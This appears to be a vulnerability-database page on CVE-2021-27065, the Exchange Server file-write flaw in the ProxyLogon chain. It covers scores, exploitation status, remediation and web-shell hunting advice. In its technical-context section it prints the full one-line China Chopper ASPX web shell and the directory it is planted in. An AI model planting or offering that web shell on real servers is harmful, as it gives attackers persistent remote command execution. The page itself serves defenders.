What is the CVSS score of CVE-2021-27065?

CVE-2021-27065 has a CVSS 3.1 base score of 7.8 (High). CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 94.3%.

Is there a public PoC exploit available for CVE-2021-27065?

Yes, a public proof-of-concept exploit is available for CVE-2021-27065. Prioritise patching immediately. EPSS: 94.3%.

How to fix or mitigate CVE-2021-27065?

Within 24 hours: Identify all affected systems and apply vendor patches immediately. Review file handling controls and restrict upload directories.

Exchange Server CVE-2021-27065

HIGH

Path Traversal (CWE-22)

2021-03-03 secure@microsoft.com

RCE Path Traversal Microsoft Exchange Server

7.8

CVSS 3.1 · Vendor: microsoft

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Vulnerability Assessment

Weakness	CWE CWE-22 OWASP Top 10:2025 A01:2021 - Broken Access Control ASVS 5.0 V4 - Access Control Authorization enforcement, RBAC validation MITRE ATT&CK 2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	Critical risk (EPSS 94.3%). This file write was the key to persistent access in the ProxyLogon campaign. Even after Exchange was patched, web shells remained active until manually discovered and removed.
Exploit ScenarioDerived	The ProxyLogon chain: SSRF → deserialization → file write (this CVE). The attacker writes a China Chopper web shell to C:\inetpub\wwwroot\aspnet_client\. The web shell persists indefinitely, providing remote command execution even after the original vulnerabilities are patched.

Act Now Prioritize within 24-48h. Why: In CISA KEV with patch available.

Exploited in the wild (CISA KEV) Patch available 94.3% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 26, 2026

Microsoft Exchange Server allows post-authentication arbitrary file write that enables web shell deployment, the primary persistence mechanism in the ProxyLogon attack chain responsible for compromising 250,000+ servers.

Earlier versions of this analysis (1)

v1 Mar 26, 2026 - 11:19 CVSS 7.8

An arbitrary file write vulnerability in Exchange Server enables writing ASPX web shells to web-accessible directories. This CVE-2021-27065 is the final and most critical link in the ProxyLogon chain, as it provided the persistent access mechanism used by all ProxyLogon attackers.

RemediationAI

Apply patches AND scan for web shells. Check C:\inetpub\wwwroot\aspnet_client\, OWA, and ECP directories for suspicious .aspx files. Run Microsoft's Exchange On-premises Mitigation Tool (EOMT). Review IIS logs for web shell access.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The CWE-22 path traversal in Exchange's file handling allows writing arbitrary content to paths controlled by the attacker. The exploit writes a one-line ASPX web shell (typically the 'China Chopper' web shell: <%@Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe")%>) to the OWA virtual directory.

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Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (microsoft) PRIMARY 7.8 HIGH

AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from Vendor (microsoft) · only source for this CVE.

CVSS VectorVendor: microsoft

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Added to CISA KEV

Dec 18, 2025 - 02:00 cisa

CISA KEV

PoC Detected

Dec 18, 2025 - 02:00 vuln.today

Public exploit code

Patch released

Dec 18, 2025 - 02:00 nvd

Patch available

CVE Published

Mar 03, 2021 - 00:15 nvd

HIGH 7.8

DescriptionCVE.org

Microsoft Exchange Server Remote Code Execution Vulnerability

Executive ViewAI

Why It Matters

CVE-2021-27065 presents notable security risk, a path traversal vulnerability rated CVSS 7.8. This could allow attackers to access or modify files outside intended directories, potentially exposing sensitive configuration or credentials. This vulnerability is actively exploited in the wild (KEV-listed) and requires immediate remediation. A patch is available and should be applied as part of regular vulnerability management.

Business Impact: Severe

Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Restrict file upload functionality via WAF; (2) Implement allowlist-based file type validation; (3) Use chroot/containerization to limit filesystem access.

Threat Intelligence Overview

Threat Score

9.4/10

Composite threat intelligence

EPSS Score

94.3%

Top 0% exploitable

Threat Intel

1 sources

Exploit

POC

Public exploit code exists

Data Quality

7 sources

Confidence: High

NVD

CVE.org

CISA KEV

EPSS POC (1) THREAT

Exploit-DB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity HIGH

CISA KEV Yes

Public POC Yes

EPSS 94.3%

Patch available Yes

Active threat Yes

Deciding rule

In CISA KEV with patch available

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Out-of-Cycle

Exploitation· derived

Active

System Exposure· derived

Small

Automatable· derived

Human Impact

Very High

Priority Score

228

Low Medium High Critical

KEV: +50

EPSS: +94

CVSS: +39

PoC: +20

Weaponized: +15

Threat intel: +10

Gov advisory: 0

Attack Technique

Path Traversal HIGH

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2013:sp1:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_10:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_11:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_12:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_13:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_14:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_15:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_16:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_17:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_18:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_19:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2016:cumulative_update_8:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:-:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_1:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_2:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_3:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_4:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_5:*:*:*:*:*:*

cpe:2.3:a:microsoft:exchange_server:2019:cumulative_update_6:*:*:*:*:*:*

+ 2 more

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Same weakness CWE-22 – Path Traversal

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Threat IntelligenceMISP

Threat Actors

Threat Group-3390 Magic Hound

ATT&CK Techniques (observed)

T1190 - Exploit Public-Facing Application T1595.002 - Vulnerability Scanning

Sources: MITRE ATT&CK, Metasploit/Nuclei

References

Advisories & patches

PATCH https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-27065 REF https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065 REF https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-27065

Search Externally

GitHub PoC

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